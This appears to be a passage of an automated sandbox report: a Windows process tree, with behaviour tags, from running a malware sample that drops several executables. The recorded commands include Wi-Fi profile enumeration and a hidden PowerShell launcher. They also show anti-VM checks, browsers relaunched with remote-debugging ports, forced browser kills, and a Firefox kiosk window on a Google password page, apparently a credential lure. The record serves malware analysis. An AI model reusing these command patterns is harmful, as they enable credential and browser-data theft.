                                      ping -n 4 127.0.0.1
                                      5⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:1336
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 2 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:1064
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 5 127.0.0.1
                                      5⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:772
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 1 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:4824
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 3 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:2332
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 4 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:3896
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 2 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:3020
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 1 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:3492
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 6 127.0.0.1
                                      5⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:4504
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 3 127.0.0.1
                                      5⤵
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:4040
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /t 2
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • Delays execution with timeout.exe
                                      PID:4556
                                • C:\Users\Admin\AppData\Local\Temp\10157290101\ipKwUq9.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10157290101\ipKwUq9.exe"
                                  3⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:3856
                                  • C:\Users\Admin\AppData\Local\Temp\._cache_ipKwUq9.exe
                                    "C:\Users\Admin\AppData\Local\Temp\._cache_ipKwUq9.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Drops desktop.ini file(s)
                                    • Checks processor information in registry
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:448
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                      5⤵
                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                      PID:1064
                                      • C:\Windows\SysWOW64\chcp.com
                                        chcp 65001
                                        6⤵
                                          PID:2052
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh wlan show profile
                                          6⤵
                                          • Event Triggered Execution: Netsh Helper DLL
                                          • System Location Discovery: System Language Discovery
                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                          PID:220
                                        • C:\Windows\SysWOW64\findstr.exe
                                          findstr All
                                          6⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:2820
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                        5⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4928
                                        • C:\Windows\SysWOW64\chcp.com
                                          chcp 65001
                                          6⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:388
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh wlan show networks mode=bssid
                                          6⤵
                                          • Event Triggered Execution: Netsh Helper DLL
                                          • System Location Discovery: System Language Discovery
                                          PID:3028
                                    • C:\ProgramData\Synaptics\Synaptics.exe
                                      "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                      4⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Modifies registry class
                                      PID:4020
                                      • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                                        "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                                        5⤵
                                        • Executes dropped EXE
                                        • Drops desktop.ini file(s)
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2900
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                          6⤵
                                          • System Location Discovery: System Language Discovery
                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                          PID:3368
                                          • C:\Windows\SysWOW64\chcp.com
                                            chcp 65001
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5060
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh wlan show profile
                                            7⤵
                                            • Event Triggered Execution: Netsh Helper DLL
                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                            PID:628
                                          • C:\Windows\SysWOW64\findstr.exe
                                            findstr All
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4348
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                          6⤵
                                            PID:3832
                                            • C:\Windows\SysWOW64\chcp.com
                                              chcp 65001
                                              7⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1984
                                            • C:\Windows\SysWOW64\netsh.exe
                                              netsh wlan show networks mode=bssid
                                              7⤵
                                              • Event Triggered Execution: Netsh Helper DLL
                                              PID:1608
                                    • C:\Users\Admin\AppData\Local\Temp\10157520101\znIuBze.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157520101\znIuBze.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:3460
                                    • C:\Users\Admin\AppData\Local\Temp\10157550101\4606e03ca1.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157550101\4606e03ca1.exe"
                                      3⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      PID:1076
                                      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                        4⤵
                                        • Downloads MZ/PE file
                                        • System Location Discovery: System Language Discovery
                                        PID:3564
                                    • C:\Users\Admin\AppData\Local\Temp\10157560101\395661cf35.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157560101\395661cf35.exe"
                                      3⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:4028
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10157571121\ESo034G.cmd"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3300
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\10157571121\ESo034G.cmd' -ArgumentList 'OrgEumWNliPbsv' -WindowStyle Hidden"
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1388
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10157571121\ESo034G.cmd" OrgEumWNliPbsv "
                                          5⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3740
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
                                            6⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:752
                                            • C:\Windows\SysWOW64\findstr.exe
                                              "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
                                              7⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1748
                                    • C:\Users\Admin\AppData\Local\Temp\10157590101\3904c4ea3f.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157590101\3904c4ea3f.exe"
                                      3⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      PID:880
                                      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                        4⤵
                                        • Downloads MZ/PE file
                                        • System Location Discovery: System Language Discovery
                                        PID:4964
                                    • C:\Users\Admin\AppData\Local\Temp\10157600101\46958ca736.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157600101\46958ca736.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      PID:1896
                                      • C:\Users\Admin\AppData\Local\Temp\10157600101\46958ca736.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10157600101\46958ca736.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:1808
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 800
                                        4⤵
                                        • Program crash
                                        PID:1988
                                    • C:\Users\Admin\AppData\Local\Temp\10157610101\1u5Tubh.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157610101\1u5Tubh.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      PID:3252
                                      • C:\Users\Admin\AppData\Local\Temp\10157610101\1u5Tubh.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10157610101\1u5Tubh.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:2996
                                    • C:\Users\Admin\AppData\Local\Temp\10157630101\8ee6751c88.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157630101\8ee6751c88.exe"
                                      3⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Downloads MZ/PE file
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • System Location Discovery: System Language Discovery
                                      PID:1020
                                      • C:\Users\Admin\AppData\Local\Temp\3CMF37R5PDWT3GQB64W2LH9K6J.exe
                                        "C:\Users\Admin\AppData\Local\Temp\3CMF37R5PDWT3GQB64W2LH9K6J.exe"
                                        4⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Identifies Wine through registry keys
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        PID:3484
                                    • C:\Users\Admin\AppData\Local\Temp\10157640101\29a630c261.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10157640101\29a630c261.exe"
                                      3⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • System Location Discovery: System Language Discovery
                                      • Checks processor information in registry
                                      PID:3180
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                        4⤵
                                        • Uses browser remote debugging
                                        • Enumerates system info in registry
                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        PID:1064
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd7dddcc40,0x7ffd7dddcc4c,0x7ffd7dddcc58
                                          5⤵
                                            PID:4616
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1908,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1904 /prefetch:2
                                            5⤵
                                              PID:4412
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2140,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2156 /prefetch:3
                                              5⤵
                                                PID:3868
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2204 /prefetch:8
                                                5⤵
                                                  PID:4712
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3176 /prefetch:1
                                                  5⤵
                                                  • Uses browser remote debugging
                                                  PID:3784
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3316 /prefetch:1
                                                  5⤵
                                                  • Uses browser remote debugging
                                                  PID:3356
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3148,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4476 /prefetch:1
                                                  5⤵
                                                  • Uses browser remote debugging
                                                  PID:5148
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3824,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3820 /prefetch:8
                                                  5⤵
                                                    PID:5248
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3832,i,16688898738244972531,595778972022321455,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4696 /prefetch:8
                                                    5⤵
                                                      PID:5272
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
                                                    4⤵
                                                    • Uses browser remote debugging
                                                    PID:820
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd7dde46f8,0x7ffd7dde4708,0x7ffd7dde4718
                                                      5⤵
                                                        PID:5772
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
                                                        5⤵
                                                          PID:2372
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 /prefetch:3
                                                          5⤵
                                                            PID:4616
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8
                                                            5⤵
                                                              PID:3252
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
                                                              5⤵
                                                              • Uses browser remote debugging
                                                              PID:2880
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
                                                              5⤵
                                                              • Uses browser remote debugging
                                                              PID:1948
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4820 /prefetch:1
                                                              5⤵
                                                              • Uses browser remote debugging
                                                              PID:6464
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:1
                                                              5⤵
                                                              • Uses browser remote debugging
                                                              PID:6472
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2224 /prefetch:2
                                                              5⤵
                                                                PID:7032
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2
                                                                5⤵
                                                                  PID:6336
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,17554264437565575275,15895637257996096353,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2380 /prefetch:2
                                                                  5⤵
                                                                    PID:2620
                                                              • C:\Users\Admin\AppData\Local\Temp\10157650101\c6c6a56f77.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10157650101\c6c6a56f77.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                PID:5064
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /IM firefox.exe /T
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5232
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /IM chrome.exe /T
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5552
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /IM msedge.exe /T
                                                                  4⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5612
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /IM opera.exe /T
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5668
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /IM brave.exe /T
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5724
                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                  4⤵
                                                                    PID:5788
                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                      5⤵
                                                                      • Checks processor information in registry
                                                                      • Modifies registry class
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:5800
                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1988 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 27272 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa95634a-375c-4e60-8686-918abce9c072} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" gpu
                                                                        6⤵
                                                                          PID:5988
                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2468 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2440 -prefsLen 28192 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22e4df49-5247-40d4-94ea-58f5283d1eb9} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" socket
                                                                          6⤵
                                                                            PID:6052
                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3240 -childID 1 -isForBrowser -prefsHandle 3236 -prefMapHandle 3232 -prefsLen 22698 -prefMapSize 244658 -jsInitHandle 900 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34db19e3-1725-4717-91e1-ebfb43699e90} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" tab
                                                                            6⤵
                                                                              PID:5276
                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3948 -childID 2 -isForBrowser -prefsHandle 3924 -prefMapHandle 1252 -prefsLen 32682 -prefMapSize 244658 -jsInitHandle 900 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd236c7c-2a86-4e8a-9546-e6cd4d3ffe54} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" tab
                                                                              6⤵
                                                                                PID:5336
                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
